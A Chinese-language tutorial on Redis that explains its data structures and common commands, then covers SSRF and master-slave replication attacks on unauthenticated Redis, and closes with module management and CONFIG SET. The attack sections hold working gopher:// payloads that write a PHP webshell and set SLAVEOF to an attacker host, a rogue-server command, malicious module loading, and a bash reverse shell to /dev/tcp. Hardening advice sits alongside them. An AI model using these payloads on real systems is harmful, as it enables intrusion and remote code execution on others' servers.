基础知识《Redis解析》
Redis 详细解析与介绍
Redis(Remote Dictionary Server)是一个开源的高性能键值对(Key-Value)数据库,支持多种数据结构(如字符串、哈希、列表、集合等),广泛应用于缓存、消息队列、实时数据分析等场景。
核心特点:
- 内存存储:数据主要存储在内存中,读写性能极高(10万+/秒 QPS)。
- 持久化支持:支持
RDB
(快照)和AOF
(追加日志)两种持久化方式。 - 多数据结构:支持字符串、哈希、列表、集合、有序集合等。
- 单线程模型:避免锁竞争,通过异步I/O处理高并发。
- 高可用与集群:支持主从复制、哨兵模式(Sentinel)和集群模式(Cluster)。
Redis 常用命令大全
1. 通用命令
命令 | 说明 | 示例 |
---|---|---|
KEYS pattern | 匹配所有符合模式的键 | KEYS user:* |
DEL key | 删除指定键 | DEL user:1 |
EXPIRE key seconds | 设置键的过期时间(秒) | EXPIRE user:1 60 |
TTL key | 查看键剩余过期时间 | TTL user:1 |
TYPE key | 查看键的数据类型 | TYPE user:1 |
2. 字符串(String)
命令 | 说明 | 示例 |
---|---|---|
SET key value | 设置键值 | SET name "Alice" |
GET key | 获取键值 | GET name |
INCR key | 键值自增1 | INCR counter |
APPEND key val | 追加字符串 | APPEND name " Smith" |
3. 哈希(Hash)
命令 | 说明 | 示例 |
---|---|---|
HSET key field val | 设置哈希字段值 | HSET user:1 name "Alice" |
HGET key field | 获取哈希字段值 | HGET user:1 name |
HGETALL key | 获取所有字段和值 | HGETALL user:1 |
4. 列表(List)
命令 | 说明 | 示例 |
---|---|---|
LPUSH key val | 从列表左侧插入元素 | LPUSH tasks "task1" |
RPOP key | 从右侧弹出元素 | RPOP tasks |
LRANGE key s e | 获取列表范围元素 | LRANGE tasks 0 -1 |
5. 集合(Set)
命令 | 说明 | 示例 |
---|---|---|
SADD key member | 添加元素到集合 | SADD tags "redis" |
SMEMBERS key | 获取集合所有元素 | SMEMBERS tags |
SINTER key1 key2 | 求两个集合的交集 | SINTER tags1 tags2 |
SSRF漏洞利用与Redis相关命令
什么是SSRF?
SSRF(Server-Side Request Forgery)是攻击者诱使服务器向内部或第三方系统发起恶意请求的漏洞。结合未授权访问的Redis服务,攻击者可通过SSRF执行高危操作。
Redis SSRF利用场景
-
目标环境:
- Redis未设置密码(默认无认证)。
- Redis服务暴露在内网或公网(默认端口6379)。
-
攻击步骤:
- 探测Redis服务:通过SSRF访问
http://victim.com/ssrf?url=redis://内网IP:6379
。 - 执行恶意命令:利用Redis协议发送命令,如写入Webshell、反弹Shell等。
- 探测Redis服务:通过SSRF访问
高危Redis命令与利用
以下命令常被用于攻击:
命令 | 利用场景 |
---|---|
FLUSHALL | 清空所有数据,为后续攻击做准备。 |
CONFIG SET dir /path | 设置Redis持久化目录(如Web目录)。 |
CONFIG SET dbfilename | 设置持久化文件名(如写入Webshell shell.php )。 |
SET key "恶意代码" | 写入恶意内容到数据库。 |
SAVE | 触发持久化操作,将数据写入文件(如生成Webshell)。 |
MODULE LOAD /path.so | 加载恶意Redis模块(需提前上传)。 |
SLAVEOF host port | 设置主从复制,从恶意服务器同步数据(用于RCE)。 |
EVAL "lua脚本" 0 | 执行Lua脚本(可能用于漏洞利用)。 |
攻击案例:通过SSRF写入Webshell
# 通过Gopher协议发送Redis命令(需URL编码)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
-
Redis安全配置:
- 设置密码认证(
requirepass
)。 - 禁用高危命令(通过
rename-command
重命名或禁用)。 - 限制绑定IP(
bind 127.0.0.1
)。
- 设置密码认证(
-
SSRF防护:
- 校验用户输入的URL,禁止访问内网IP和敏感端口。
- 使用白名单域名/IP限制请求目标。
Redis 主从复制攻击详解整合
主从复制攻击原理
Redis 主从复制(Replication)机制允许从节点(Slave)同步主节点(Master)的数据。攻击者可利用此特性,强制目标Redis作为从节点连接到攻击者控制的恶意主节点,通过同步恶意数据(如加载动态模块或写入Webshell),最终实现远程代码执行(RCE)。
攻击前提条件
- Redis未授权访问:目标Redis无密码认证或密码被破解。
- SSRF漏洞存在:可通过SSRF触发Redis协议交互(如
gopher://
、dict://
)。 - 目标Redis支持模块加载(4.x以上版本)或允许文件写入(如Web目录可写)。
攻击步骤与命令
1. 准备恶意主节点
- 使用工具搭建恶意Redis主节点(如Redis Rogue Server):
python3 redis-rogue-server.py --rhost <目标IP> --rport 6379 --lhost <攻击者IP> --lport 21000
- 该工具会自动生成恶意模块(
.so
文件),通过主从复制同步到目标Redis。
- 该工具会自动生成恶意模块(
2. 强制目标Redis成为从节点
通过SSRF发送SLAVEOF
命令,将目标Redis设置为恶意主节点的从节点:
# 通过Gopher协议发送SLAVEOF命令(需URL编码)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻击者IP长度>%0d%0a<攻击者IP>%0d%0a$5%0d%0a21000%0d%0a
- 关键命令:
SLAVEOF <攻击者IP> <端口>
。
3. 数据同步与恶意模块加载
- 目标Redis连接恶意主节点后,自动同步数据。
- 恶意主节点发送包含恶意模块(如
exp.so
)的备份文件。 - 通过
MODULE LOAD
命令加载恶意模块,执行任意命令:MODULE LOAD ./exp.so system.exec "id" # 通过模块函数执行系统命令
自动化利用工具
- Redis Rogue Server:一键化主从复制攻击工具,支持RCE。
- Redis SSRF Exploit:通过SSRF直接发送Payload,无需公网IP。
防御措施
- 禁用高危命令:
在redis.conf
中禁用SLAVEOF
和MODULE
相关命令:rename-command SLAVEOF "" rename-command MODULE ""
- 启用认证:
强制使用密码访问:requirepass <强密码>
- 网络隔离:
- 限制Redis仅监听内网(
bind 127.0.0.1
)。 - 防火墙规则禁止外部访问Redis端口(6379)。
- 限制Redis仅监听内网(
- 最小化模块功能:
非必要场景禁用Redis模块加载。
攻击案例演示
- 场景:存在SSRF漏洞的Web应用,内网Redis未授权访问。
- 利用:
# 通过SSRF发送SLAVEOF命令
http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
- 结果:目标Redis加载恶意模块,攻击者执行
system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
反弹Shell。
Redis
模块管理
一、模块管理命令
-
MODULE LIST
查看当前已加载的所有模块,返回模块名称、版本及描述信息。例如:MODULE LIST
该命令常用于确认模块是否加载成功。
-
MODULE LOAD <path> [arg1 arg2 ...]
动态加载指定路径的模块(.so
文件),支持传递参数到模块的RedisModule_OnLoad
函数。例如:MODULE LOAD /path/to/my_module.so arg1 arg2
参数会通过
argv
和argc
传递给模块的初始化函数 。 -
MODULE UNLOAD <module-name>
卸载指定名称的模块(需使用模块注册时的名称,而非文件名)。例如:MODULE UNLOAD my_module
若模块定义了
RedisModule_OnUnload
函数,卸载时会自动调用该函数进行资源清理 。
二、配置文件加载模块
在 Redis 启动时通过 redis.conf
配置文件加载模块:
loadmodule /path/to/module.so [arg1 arg2 ...]
此方式适合生产环境,确保模块随 Redis 服务启动自动加载。
Redis
CONFIG SET 命令的核心功能、用法及注意事项
一、命令功能
CONFIG SET
允许在 Redis 不重启 的情况下动态修改服务器配置参数,适用于调整内存限制、持久化策略、日志行为等场景。
主要特性:
- 实时生效:修改的参数会立即加载并影响后续操作。
- 支持参数广泛:涵盖大多数
redis.conf
中的配置项(如maxmemory
、save
、appendonly
等)。 - 灵活性:支持从 RDB 快照切换为 AOF 持久化,或同时启用两者。
二、语法与基本用法
语法
CONFIG SET parameter value [parameter value ...]
- 单参数设置:
CONFIG SET maxmemory 4gb
- 多参数设置(Redis 7.0+):
CONFIG SET maxmemory 4gb save "900 1 300 10"